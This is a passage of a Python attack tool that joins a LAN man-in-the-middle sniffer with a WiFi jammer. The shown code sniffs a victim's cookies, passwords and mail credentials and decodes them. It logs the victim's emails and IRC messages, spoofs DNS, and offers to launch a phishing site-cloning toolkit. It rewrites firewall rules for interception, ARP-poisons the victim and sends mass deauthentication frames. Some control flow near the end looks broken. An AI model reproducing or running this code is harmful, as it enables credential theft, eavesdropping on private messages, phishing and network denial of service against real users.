  746.                 # Catch messages from others that tag the victim's nick
  747.                 elif self.IRCnick in load[0] and self.IRCnick != '':
  748.                     sender_nick = load[0].split(':', 1)[1].split('!', 1)[0]
  749.                     try:
  750.                         load = load[0].split('PRIVMSG ')[1].split(' :', 1)
  751.                         channel = load[0]
  752.                         ircmsg = load[1]
  753.                         print C + '[+] IRC ' + W + sender_nick + C + ' to ' + W + channel + C + ': ' + ircmsg[1:] + W
  754.                         logger.write('[+] IRC ' + sender_nick + ' to ' + channel + ': ' + ircmsg[1:] + '\n')
  755.                     except Exception:
  756.                         return
  757.  
  758.     def cookies(self, host, header_lines):
  759.         for x in header_lines:
  760.             if 'Cookie:' in x:
  761.                 if x in self.Cookies:
  762.                     return
  763.                 elif 'safebrowsing.clients.google.com' in host:
  764.                     return
  765.                 else:
  766.                     self.Cookies.append(x)
  767.                 print P + '[+] Cookie found for ' + W + host + P + ' logged in LANspy.log.txt' + W
  768.                 logger.write('[+] Cookie found for' + host + ':' + x.replace('Cookie: ', '') + '\n')
  769.  
  770.     def user_pass(self, username, password):
  771.         if username:
  772.             for u in username:
  773.                 print R + '[!] Username found: ' + u[1] + W
  774.                 logger.write('[!] Username: ' + u[1] + '\n')
  775.         if password:
  776.             for p in password:
  777.                 if p[1] != '':
  778.                     print R + '[!] Password: ' + p[1] + W
  779.                     logger.write('[!] Password: ' + p[1] + '\n')
  780.  
  781.     def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack):
  782.         load = repr(load)[1:-1]
  783.         # Catch fragmented mail packets
  784.         if ack == self.oldmailack:
  785.             if load != r'.\r\n':
  786.                 self.oldmailload = self.oldmailload + load
  787.                 load = self.oldmailload
  788.                 self.mailfragged = 1
  789.         else:
  790.             self.oldmailload = load
  791.             self.oldmailack = ack
  792.             self.mailfragged = 0
  793.  
  794.         try:
  795.             headers, body = load.split(r"\r\n\r\n", 1)
  796.         except Exception:
  797.             headers = load
  798.             body = ''
  799.         header_lines = headers.split(r"\r\n")
  800.         email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: ']
  801.  
  802.         # Find passwords
  803.         if dport in [25, 26, 110, 143]:
  804.             self.passwords(IP_src, load, dport, IP_dst)
  805.         # Find outgoing messages
  806.         if dport == 26 or dport == 25:
  807.             self.outgoing(load, body, header_lines, email_headers, IP_src)
  808.         # Find incoming messages
  809.         if sport in [110, 143]:
  810.             self.incoming(headers, body, header_lines, email_headers, sport, dport)
  811.  
  812.     def passwords(self, IP_src, load, dport, IP_dst):
  813.         load = load.replace(r'\r\n', '')
  814.         if dport == 143 and IP_src == victimIP and len(load) > 15:
  815.             if self.IMAPauth == 1 and self.IMAPdest == IP_dst:
  816.                 # Don't double output mail passwords
  817.                 for x in self.mail_passwds:
  818.                     if load in x:
  819.                         self.IMAPauth = 0
  820.                         self.IMAPdest = ''
  821.                         return
  822.                 print R + '[!] IMAP user and pass found: ' + load + W
  823.                 logger.write('[!] IMAP user and pass found: ' + load + '\n')
  824.                 self.mail_passwds.append(load)
  825.                 self.decode(load, dport)
  826.                 self.IMAPauth = 0
  827.                 self.IMAPdest = ''
  828.             if "authenticate plain" in load:
  829.                 self.IMAPauth = 1
  830.                 self.IMAPdest = IP_dst
  831.         if dport == 110 and IP_src == victimIP:
  832.             if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
  833.                 # Don't double output mail passwords
  834.                 for x in self.mail_passwds:
  835.                     if load in x:
  836.                         self.POPauth = 0
  837.                         self.POPdest = ''
  838.                         return
  839.                 print R + '[!] POP user and pass found: ' + load + W
  840.                 logger.write('[!] POP user and pass found: ' + load + '\n')
  841.                 self.mail_passwds.append(load)
  842.                 self.decode(load, dport)
  843.                 self.POPauth = 0
  844.                 self.POPdest = ''
  845.             if 'AUTH PLAIN' in load:
  846.                 self.POPauth = 1
  847.                 self.POPdest = IP_dst
  848.         if dport == 26:
  849.             if 'AUTH PLAIN ' in load:
  850.                 # Don't double output mail passwords
  851.                 for x in self.mail_passwds:
  852.                     if load in x:
  853.                         self.POPauth = 0
  854.                         self.POPdest = ''
  855.                         return
  856.                 print R + '[!] Mail authentication found: ' + load + W
  857.                 logger.write('[!] Mail authentication found: ' + load + '\n')
  858.                 self.mail_passwds.append(load)
  859.                 self.decode(load, dport)
  860.  
  861.     def outgoing(self, headers, body, header_lines, email_headers, IP_src):
  862.         if 'Message-ID' in headers:
  863.             for l in header_lines:
  864.                 for x in email_headers:
  865.                     if x in l:
  866.                         self.OheadersFound.append(l)
  867.             # if date, from, to, in headers then print the message
  868.             if len(self.OheadersFound) > 3 and body != '':
  869.                 if self.mailfragged == 1:
  870.                     print O + '[!] OUTGOING MESSAGE (fragmented)' + W
  871.                     logger.write('[!] OUTGOING MESSAGE (fragmented)\n')
  872.                     for x in self.OheadersFound:
  873.                         print O + '   ', x + W
  874.                         logger.write(' ' + x + '\n')
  875.                     print O + '   Message:', body + W
  876.                     logger.write(' Message:' + body + '\n')
  877.                 else:
  878.                     print O + '[!] OUTGOING MESSAGE' + W
  879.                     logger.write('[!] OUTGOING MESSAGE\n')
  880.                     for x in self.OheadersFound:
  881.                         print O + '   ', x + W
  882.                         logger.write(' ' + x + '\n')
  883.                     print O + '   Message:', body + W
  884.                     logger.write(' Message:' + body + '\n')
  885.  
  886.         self.OheadersFound = []
  887.  
  888.     def incoming(self, headers, body, header_lines, email_headers, sport, dport):
  889.         message = ''
  890.         for l in header_lines:
  891.             for x in email_headers:
  892.                 if x in l:
  893.                     self.IheadersFound.append(l)
  894.         if len(self.IheadersFound) > 3 and body != '':
  895.             if "BODY[TEXT]" not in body:
  896.                 try:
  897.                     beginning = body.split(r"\r\n", 1)[0]
  898.                     body1 = body.split(r"\r\n\r\n", 1)[1]
  899.                     message = body1.split(beginning)[0][:-8]  #get rid of last \r\n\r\n
  900.                 except Exception:
  901.                     return
  902.             if message != '':
  903.                 if self.mailfragged == 1:
  904.                     print O + '[!] INCOMING MESSAGE (fragmented)' + W
  905.                     logger.write('[!] INCOMING MESSAGE (fragmented)\n')
  906.                     for x in self.IheadersFound:
  907.                         print O + '   ' + x + W
  908.                         logger.write(' ' + x + '\n')
  909.                     print O + '   Message: ' + message + W
  910.                     logger.write(' Message: ' + message + '\n')
  911.                 else:
  912.                     print O + '[!] INCOMING MESSAGE' + W
  913.                     logger.write('[!] INCOMING MESSAGE\n')
  914.                     for x in self.IheadersFound:
  915.                         print O + '   ' + x + W
  916.                         logger.write(' ' + x + '\n')
  917.                     print O + '   Message: ' + message + W
  918.                     logger.write(' Message: ' + message + '\n')
  919.         self.IheadersFound = []
  920.  
  921.     def decode(self, load, dport):
  922.         decoded = ''
  923.         if dport == 25 or dport == 26:
  924.             try:
  925.                 b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
  926.                 decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
  927.             except Exception:
  928.                 pass
  929.         else:
  930.             try:
  931.                 b64str = load
  932.                 decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
  933.             except Exception:
  934.                 pass
  935.         # Test to see if decode worked
  936.         if '@' in decoded:
  937.             print R + '[!] Decoded:' + decoded + W
  938.             logger.write('[!] Decoded:' + decoded + '\n')
  939.  
  940.     # Spoof DNS for a specific domain to point to your machine
  941.     def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, payload):
  942.         localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
  943.         if self.args.dnsspoof:
  944.             if self.args.dnsspoof in dns_layer.qd.qname and not self.args.redirectto:
  945.                 self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP)
  946.             elif self.args.dnsspoof in dns_layer.qd.qname and self.args.redirectto:
  947.                 self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
  948.         elif self.args.dnsall:
  949.             if self.args.redirectto:
  950.                 self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
  951.             else:
  952.                 self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP)
  953.  
  954.  
  955.     def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP):
  956.         p = IP(dst=IP_src, src=IP_dst) / UDP(dport=sport, sport=dport) / DNS(id=dns_layer.id, qr=1, aa=1,
  957.                                                                              qd=dns_layer.qd,
  958.                                                                              an=DNSRR(rrname=dns_layer.qd.qname, ttl=10,
  959.                                                                                       rdata=rIP))
  960.         payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(p), len(p))
  961.         if self.args.dnsspoof:
  962.             print G + '[!] Sent spoofed packet for ' + W + self.args.dnsspoof + G + ' to ' + W + rIP
  963.             logger.write('[!] Sent spoofed packet for ' + self.args.dnsspoof + G + ' to ' + rIP + '\n')
  964.         elif self.args.dnsall:
  965.             print G + '[!] Sent spoofed packet for ' + W + dns_layer[DNSQR].qname[:-1] + G + ' to ' + W + rIP
  966.             logger.write('[!] Sent spoofed packet for ' + dns_layer[DNSQR].qname[:-1] + ' to ' + rIP + '\n')
  967.  
  968.  
  969. #Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
  970. class Queued(object):
  971.     def __init__(self, args):
  972.         self.q = nfqueue.queue()
  973.         self.q.set_callback(Parser(args).start)
  974.         self.q.fast_open(0, socket.AF_INET)
  975.         self.q.set_queue_maxlen(5000)
  976.         reactor.addReader(self)
  977.         self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
  978.         print '[*] Flushed firewall and forwarded traffic to the queue; waiting for data'
  979.  
  980.     def fileno(self):
  981.         return self.q.get_fd()
  982.  
  983.     def doRead(self):
  984.         self.q.process_pending(500)  # if I lower this to, say, 5, it hurts injection's reliability
  985.  
  986.     def connectionLost(self, reason):
  987.         reactor.removeReader(self)
  988.  
  989.     def logPrefix(self):
  990.         return 'queued'
  991.  
  992.  
  993. class active_users():
  994.     IPandMAC = []
  995.     start_time = time.time()
  996.     current_time = 0
  997.     monmode = ''
  998.  
  999.     def pkt_cb(self, pkt):
  1000.         if pkt.haslayer(Dot11):
  1001.             pkt = pkt[Dot11]
  1002.             if pkt.type == 2:
  1003.                 addresses = [pkt.addr1.upper(), pkt.addr2.upper(), pkt.addr3.upper()]
  1004.                 for x in addresses:
  1005.                     for y in self.IPandMAC:
  1006.                         if x in y[1]:
  1007.                             y[2] = y[2] + 1
  1008.                 self.current_time = time.time()
  1009.             if self.current_time > self.start_time + 1:
  1010.                 self.IPandMAC.sort(key=lambda x: float(x[2]), reverse=True)  # sort by data packets
  1011.                 os.system('/usr/bin/clear')
  1012.                 print '[*] ' + T + 'IP address' + W + ' and ' + R + 'data packets' + W + ' sent/received'
  1013.                 print '---------------------------------------------'
  1014.                 for x in self.IPandMAC:
  1015.                     if len(x) == 3:
  1016.                         ip = x[0].ljust(16)
  1017.                         data = str(x[2]).ljust(5)
  1018.                         print T + ip + W, R + data + W
  1019.                     else:
  1020.                         ip = x[0].ljust(16)
  1021.                         data = str(x[2]).ljust(5)
  1022.                         print T + ip + W, R + data + W, x[3]
  1023.                 print '\n[*] Hit Ctrl-C at any time to stop and choose a victim IP'
  1024.                 self.start_time = time.time()
  1025.  
  1026.     def users(self, IPprefix, routerIP):
  1027.  
  1028.         print '[*] Running ARP scan to identify users on the network; this may take a minute - [nmap -sn -n %s]' % IPprefix
  1029.         iplist = []
  1030.         maclist = []
  1031.         try:
  1032.             nmap = Popen(['nmap', '-sn', '-n', IPprefix], stdout=PIPE, stderr=DN)
  1033.             nmap = nmap.communicate()[0]
  1034.             nmap = nmap.splitlines()[2:-1]
  1035.         except Exception:
  1036.             print '[-] Nmap ARP ping failed, is nmap installed?'
  1037.         for x in nmap:
  1038.             if 'Nmap' in x:
  1039.                 pieces = x.split()
  1040.                 nmapip = pieces[len(pieces) - 1]
  1041.                 nmapip = nmapip.replace('(', '').replace(')', '')
  1042.                 iplist.append(nmapip)
  1043.             if 'MAC' in x:
  1044.                 nmapmac = x.split()[2]
  1045.                 maclist.append(nmapmac)
  1046.         zipped = zip(iplist, maclist)
  1047.         self.IPandMAC = [list(item) for item in zipped]
  1048.  
  1049.         # Make sure router is caught in the arp ping
  1050.         r = 0
  1051.         for i in self.IPandMAC:
  1052.             i.append(0)
  1053.             if r == 0:
  1054.                 if routerIP == i[0]:
  1055.                     i.append('router')
  1056.                     routerMAC = i[1]
  1057.                     r = 1
  1058.         if r == 0:
  1059.             exit('[-] Router MAC not found. Exiting.')
  1060.  
  1061.         # Do nbtscan for windows netbios names
  1062.         print '[*] Running nbtscan to get Windows netbios names - [nbtscan %s]' % IPprefix
  1063.         try:
  1064.             nbt = Popen(['nbtscan', IPprefix], stdout=PIPE, stderr=DN)
  1065.             nbt = nbt.communicate()[0]
  1066.             nbt = nbt.splitlines()
  1067.             nbt = nbt[4:]
  1068.         except Exception:
  1069.             print '[-] nbtscan error, are you sure it is installed?'
  1070.         for l in nbt:
  1071.             try:
  1072.                 l = l.split()
  1073.                 nbtip = l[0]
  1074.                 nbtname = l[1]
  1075.             except Exception:
  1076.                 print '[-] Could not find any netbios names. Continuing without them'
  1077.             if nbtip and nbtname:
  1078.                 for a in self.IPandMAC:
  1079.                     if nbtip == a[0]:
  1080.                         a.append(nbtname)
  1081.  
  1082.         # Start monitor mode
  1083.         print '[*] Enabling monitor mode [airmon-ng ' + 'start ' + interface + ']'
  1084.         try:
  1085.             promiscSearch = Popen(['airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN)
  1086.             promisc = promiscSearch.communicate()[0]
  1087.             monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
  1088.             self.monmode = monmodeSearch.group(1)
  1089.         except Exception:
  1090.             exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?')
  1091.  
  1092.         sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
  1093.  
  1094.  
  1095. #Print all the variables
  1096. def print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
  1097.     print "[*] Active interface: " + interface
  1098.     print "[*] DHCP server: " + DHCPsrvr
  1099.     print "[*] DNS server: " + dnsIP
  1100.     print "[*] Local domain: " + local_domain
  1101.     print "[*] Router IP: " + routerIP
  1102.     print "[*] Victim IP: " + victimIP
  1103.     logger.write("[*] Router IP: " + routerIP + '\n')
  1104.     logger.write("[*] victim IP: " + victimIP + '\n')
  1105.  
  1106.  
  1107. #Enable IP forwarding and flush possibly conflicting iptables rules
  1108. def setup(victimMAC):
  1109.     os.system('/sbin/iptables -F')
  1110.     os.system('/sbin/iptables -X')
  1111.     os.system('/sbin/iptables -t nat -F')
  1112.     os.system('/sbin/iptables -t nat -X')
  1113.     # Just throw packets that are from and to the victim into the reactor
  1114.     os.system(
  1115.         '/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
  1116.     os.system(
  1117.         '/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
  1118.     os.system(
  1119.         '/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
  1120.     os.system(
  1121.         '/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
  1122.     # To catch DNS packets you gotta do prerouting rather than forward for some reason?
  1123.     os.system('/sbin/iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
  1124.     with open('/proc/sys/net/ipv4/ip_forward', 'r+') as ipf:
  1125.         ipf.write('1\n')
  1126.         print '[*] Enabled IP forwarding'
  1127.         return ipf.read()
  1128.  
  1129.  
  1130. # Start threads
  1131. def threads(args):
  1132.     rt = Thread(target=reactor.run,
  1133.                 args=(False,))  #reactor must be started without signal handling since it's not in the main thread
  1134.     rt.daemon = True
  1135.     rt.start()
  1136.  
  1137.     if args.driftnet:
  1138.         dr = Thread(target=os.system,
  1139.                     args=('/usr/bin/xterm -e /usr/bin/driftnet -i ' + interface + ' >/dev/null 2>&1',))
  1140.         dr.daemon = True
  1141.         dr.start()
  1142.  
  1143.     if args.dnsspoof and not args.setoolkit:
  1144.         setoolkit = raw_input(
  1145.             '[*] You are DNS spoofing ' + args.dnsspoof + ', would you like to start the Social Engineer\'s Toolkit for easy exploitation? [y/n]: ')
  1146.         if setoolkit == 'y':
  1147.             print '[*] Starting SEtoolkit. To clone ' + args.dnsspoof + ' hit options 1, 2, 3, 2, then enter ' + args.dnsspoof
  1148.             try:
  1149.                 se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
  1150.                 se.daemon = True
  1151.                 se.start()
  1152.             except Exception:
  1153.                 print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.'
  1154.  
  1155.     if args.nmapaggressive:
  1156.         print '[*] Starting ' + R + 'aggressive scan [nmap -e ' + interface + ' -T4 -A -v -Pn -oN ' + victimIP + ']' + W + ' in background; results will be in a file ' + victimIP + '.nmap.txt'
  1157.         try:
  1158.             n = Thread(target=os.system, args=(
  1159.                 'nmap -e ' + interface + ' -T4 -A -v -Pn -oN ' + victimIP + '.nmap.txt ' + victimIP + ' >/dev/null 2>&1',))
  1160.             n.daemon = True
  1161.             n.start()
  1162.         except Exception:
  1163.             print '[-] Aggressive Nmap scan failed, is nmap installed?'
  1164.  
  1165.     if args.setoolkit:
  1166.         print '[*] Starting SEtoolkit'
  1167.         try:
  1168.             se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
  1169.             se.daemon = True
  1170.             se.start()
  1171.         except Exception:
  1172.             print '[-] Could not open SEToolkit, continuing without it.'
  1173.  
  1174.  
  1175. def pcap_handler(args):
  1176.     global victimIP
  1177.     bad_args = [args.dnsspoof, args.beef, args.code, args.nmap, args.nmapaggressive, args.driftnet, args.interface]
  1178.     for x in bad_args:
  1179.         if x:
  1180.             exit(
  1181.                 '[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
  1182.     if args.pcap:
  1183.         if args.ipaddress:
  1184.             victimIP = args.ipaddress
  1185.             pcap = rdpcap(args.pcap)
  1186.             for payload in pcap:
  1187.                 Parser(args).start(payload)
  1188.             exit('[-] Finished parsing pcap file')
  1189.         else:
  1190.             exit('[-] Please include the following arguement when reading from a pcap file: -ip [target\'s IP address]')
  1191.     else:
  1192.         exit(
  1193.             '[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
  1194.  
  1195.     # Cleans up if Ctrl-C is caught
  1196.     def signal_handler(signal, frame):
  1197.         print 'learing iptables, sending healing packets, and turning off IP forwarding...'
  1198.         logger.close()
  1199.         with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
  1200.             forward.write(ipf)
  1201.         Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
  1202.         Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
  1203.         os.system('/sbin/iptables -F')
  1204.         os.system('/sbin/iptables -X')
  1205.         os.system('/sbin/iptables -t nat -F')
  1206.         os.system('/sbin/iptables -t nat -X')
  1207.         exit(0)
  1208.  
  1209.     signal.signal(signal.SIGINT, signal_handler)
  1210.  
  1211.     while 1:
  1212.         Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
  1213.         time.sleep(1.5)
  1214.  
  1215. #################################
  1216. ####End LANs.py Code#############
  1217. ################################
  1218.  
  1219. ################################
  1220. #####Start wifijammer Code######
  1221. ###############################
  1222.  
  1223. clients_APs = []
  1224. APs = []
  1225. lock = Lock()
  1226. monitor_on = None
  1227. mon_MAC = ""
  1228. first_pass = 1
  1229.  
  1230.  
  1231. def wifijammerMain(args):
  1232.     confirmJam = raw_input("Are you sure you want to jam WiFi? This may be illegal in your area. (y/n)")
  1233.     if "n" in confirmJam:
  1234.         exit("Program cancelled.")
  1235.     print("Ok. Jamming.")
  1236.     mon_iface = get_mon_iface(args)
  1237.     conf.iface = mon_iface
  1238.     mon_MAC = mon_mac(mon_iface)
  1239.  
  1240.     # Start channel hopping
  1241.     hop = Thread(target=channel_hop, args=(mon_iface, args))
  1242.     hop.daemon = True
  1243.     hop.start()
  1244.  
  1245.     signal.signal(signal.SIGINT, stop)
  1246.  
  1247.     try:
  1248.         sniff(iface=mon_iface, store=0, prn=cb)
  1249.     except Exception as msg:
  1250.         remove_mon_iface(mon_iface)
  1251.         print '\n[' + R + '!' + W + '] Closing'
  1252.         sys.exit(0)
  1253.  
  1254. def get_mon_iface(args):
  1255.     global monitor_on
  1256.     monitors, interfaces = iwconfig()
  1257.     if args.interface:
  1258.         monitor_on = True
  1259.         return args.interface
  1260.     if len(monitors) > 0:
  1261.         monitor_on = True
  1262.         return monitors[0]
  1263.     else:
  1264.         # Start monitor mode on a wireless interface
  1265.         print '[' + G + '*' + W + '] Finding the most powerful interface...'
  1266.         interface = get_iface(interfaces)
  1267.         monmode = start_mon_mode(interface)
  1268.         return monmode
  1269.  
  1270.  
  1271. def iwconfig():
  1272.     monitors = []
  1273.     interfaces = {}
  1274.     DN = open(os.devnull, 'w')
  1275.     proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  1276.     for line in proc.communicate()[0].split('\n'):
  1277.         if len(line) == 0: continue  # Isn't an empty string
  1278.         if line[0] != ' ':  # Doesn't start with space
  1279.             wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
  1280.             if not wired_search:  # Isn't wired
  1281.                 iface = line[:line.find(' ')]  # is the interface
  1282.                 if 'Mode:Monitor' in line:
  1283.                     monitors.append(iface)
  1284.                 elif 'IEEE 802.11' in line:
  1285.                     if "ESSID:\"" in line:
  1286.                         interfaces[iface] = 1
  1287.                     else:
  1288.                         interfaces[iface] = 0
  1289.     return monitors, interfaces
  1290.  
  1291.  
  1292. def get_iface(interfaces):
  1293.     scanned_aps = []
  1294.     DN = open(os.devnull, 'w')
  1295.     if len(interfaces) < 1:
  1296.         sys.exit('[' + R + '-' + W + '] No wireless interfaces found, bring one up and try again')
  1297.     if len(interfaces) == 1:
  1298.         for interface in interfaces:
  1299.             return interface
  1300.  
  1301.     # Find most powerful interface
  1302.     for iface in interfaces:
  1303.         count = 0
  1304.         proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN)
  1305.         for line in proc.communicate()[0].split('\n'):
  1306.             if ' - Address:' in line:  # first line in iwlist scan for a new AP
  1307.                 count += 1
  1308.         scanned_aps.append((count, iface))
  1309.         print '[' + G + '+' + W + '] Networks discovered by ' + G + iface + W + ': ' + T + str(count) + W
  1310.     try:
  1311.         interface = max(scanned_aps)[1]
  1312.         print '[' + G + '+' + W + '] ' + interface + " chosen. Is this ok? [Enter=yes] "
  1313.         input = raw_input()
  1314.         if input == "" or input == "y" or input == "Y" or input.lower() == "yes":
  1315.             return interface
  1316.         else:
  1317.             interfaceInput = raw_input("What interface would you like to use instead? ")
  1318.             if interfaceInput in interfaces:
  1319.                 return interfaceInput
  1320.             else:
  1321.                 print '[' + R + '!' + W + '] Exiting: Invalid Interface!'
  1322.     except Exception as e:
  1323.         for iface in interfaces:
  1324.             interface = iface
  1325.             print '[' + R + '-' + W + '] Minor error:', e
  1326.             print '    Starting monitor mode on ' + G + interface + W
  1327.             return interface
  1328.  
  1329.  
  1330. def start_mon_mode(interface):
  1331.     print '[' + G + '+' + W + '] Starting monitor mode off ' + G + interface + W
  1332.     try:
  1333.         os.system('ifconfig %s down' % interface)
  1334.         os.system('iwconfig %s mode monitor' % interface)
  1335.         os.system('ifconfig %s up' % interface)
  1336.         return interface
  1337.     except Exception:
  1338.         sys.exit('[' + R + '-' + W + '] Could not start monitor mode')
  1339.  
  1340.  
  1341. def remove_mon_iface(mon_iface):
  1342.     os.system('ifconfig %s down' % mon_iface)
  1343.     os.system('iwconfig %s mode managed' % mon_iface)
  1344.     os.system('ifconfig %s up' % mon_iface)
  1345.  
  1346.  
  1347. def mon_mac(mon_iface):
  1348.     '''
  1349.    http://stackoverflow.com/questions/159137/getting-mac-address
  1350.    '''
  1351.     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  1352.     info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
  1353.     mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
  1354.     print '[' + G + '*' + W + '] Monitor mode: ' + G + mon_iface + W + ' - ' + O + mac + W
  1355.     return mac
  1356.  
  1357.  
  1358. def channel_hop(mon_iface, args):
  1359.     '''
  1360.    First time it runs through the channels it stays on each channel for 5 seconds
  1361.    in order to populate the deauth list nicely. After that it goes as fast as it can
  1362.    '''
  1363.     global monchannel, first_pass
  1364.     DN = open(os.devnull, 'w')
  1365.     channelNum = 0
  1366.     err = None
  1367.     while 1:
  1368.         if args.channel:
  1369.             with lock:
  1370.                 monchannel = args.channel
  1371.         else:
  1372.             channelNum += 1
  1373.             if channelNum > 11:
  1374.                 channelNum = 1
  1375.                 with lock:
  1376.                     first_pass = 0
  1377.             with lock:
  1378.                 monchannel = str(channelNum)
  1379.  
  1380.             proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE)
  1381.             for line in proc.communicate()[1].split('\n'):
  1382.                 if len(line) > 2:  # iw dev shouldnt display output unless there's an error
  1383.                     err = '[' + R + '-' + W + '] Channel hopping failed: ' + R + line + W
  1384.  
  1385.         output(err, monchannel)
  1386.         if args.channel:
  1387.             time.sleep(.05)
  1388.         else:
  1389.             # For the first channel hop thru, do not deauth
  1390.             if first_pass == 1:
  1391.                 time.sleep(1)
  1392.                 continue
  1393.  
  1394.         deauth(monchannel)
  1395.  
  1396.  
  1397. def deauth(monchannel):
  1398.     '''
  1399.    addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's
  1400.    multi-APs to one gateway. Constantly scans the clients_APs list and
  1401.    starts a thread to deauth each instance
  1402.    '''
  1403.  
  1404.     pkts = []
  1405.  
  1406.     if len(clients_APs) > 0:
  1407.         with lock:
  1408.             for x in clients_APs:
  1409.                 client = x[0]
  1410.                 ap = x[1]
  1411.                 ch = x[2]
  1412.                 # Can't add a RadioTap() layer as the first layer or it's a malformed
  1413.                 # Association request packet?
  1414.                 # Append the packets to a new list so we don't have to hog the lock
  1415.                 # type=0, subtype=12?
  1416.                 if ch == monchannel:
  1417.                     deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap) / Dot11Deauth()
  1418.                     deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client) / Dot11Deauth()
  1419.                     pkts.append(deauth_pkt1)
  1420.                     pkts.append(deauth_pkt2)
  1421.     if len(APs) > 0:
  1422.         if not args.directedonly:
  1423.             with lock:
  1424.                 for a in APs:
  1425.                     ap = a[0]
  1426.                     ch = a[1]
  1427.                     if ch == monchannel:
  1428.                         deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap) / Dot11Deauth()
  1429.                         pkts.append(deauth_ap)
  1430.  
  1431.     if len(pkts) > 0:
  1432.         # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
  1433.         if not args.timeinterval:
  1434.             args.timeinterval = 0
  1435.         if not args.packets:
  1436.             args.packets = 1
  1437.  
  1438.         for p in pkts:
  1439.             send(p, inter=float(args.timeinterval), count=int(args.packets))
  1440.  
  1441.  
  1442. def output(err, monchannel):
  1443.     os.system('clear')
  1444.     mon_iface = get_mon_iface(args)
  1445.     if err:
  1446.         print err
  1447.     else:
  1448.         print '[' + G + '+' + W + '] ' + mon_iface + ' channel: ' + G + monchannel + W + '\n'
  1449.     if len(clients_APs) > 0:
  1450.         print '                  Deauthing                 ch   ESSID'
  1451.     # Print the deauth list
  1452.     with lock:
  1453.         for ca in clients_APs:
  1454.             if len(ca) > 3:
  1455.                 print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2].ljust(
  1456.                     2) + ' - ' + T + ca[3] + W
  1457.             else:
  1458.                 print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2]
  1459.     if len(APs) > 0:
  1460.         print '\n      Access Points     ch   ESSID'
  1461.     with lock:
  1462.         for ap in APs:
  1463.             print '[' + T + '*' + W + '] ' + O + ap[0] + W + ' - ' + ap[1].ljust(2) + ' - ' + T + ap[2] + W
  1464.     print ''
  1465.  
  1466.  
  1467. def noise_filter(skip, addr1, addr2):
  1468.     # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast
  1469.     ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:',
  1470.               mon_MAC]
  1471.     if skip:
  1472.         ignore.append(skip)
  1473.     for i in ignore:
  1474.         if i in addr1 or i in addr2:
  1475.             return True
  1476.  
  1477.  
  1478. def cb(pkt):
  1479.     '''
  1480.    Look for dot11 packets that aren't to or from broadcast address,
  1481.    are type 1 or 2 (control, data), and append the addr1 and addr2
  1482.    to the list of deauth targets.
  1483.    '''
  1484.     global clients_APs, APs
  1485.  
  1486.     # return these if's keeping clients_APs the same or just reset clients_APs?
  1487.     # I like the idea of the tool repopulating the variable more
  1488.     if args.maximum:
  1489.         if args.noupdate:
  1490.             if len(clients_APs) > int(args.maximum):
  1491.                 return
  1492.         else:
  1493.             if len(clients_APs) > int(args.maximum):
  1494.                 with lock:
  1495.                     clients_APs = []
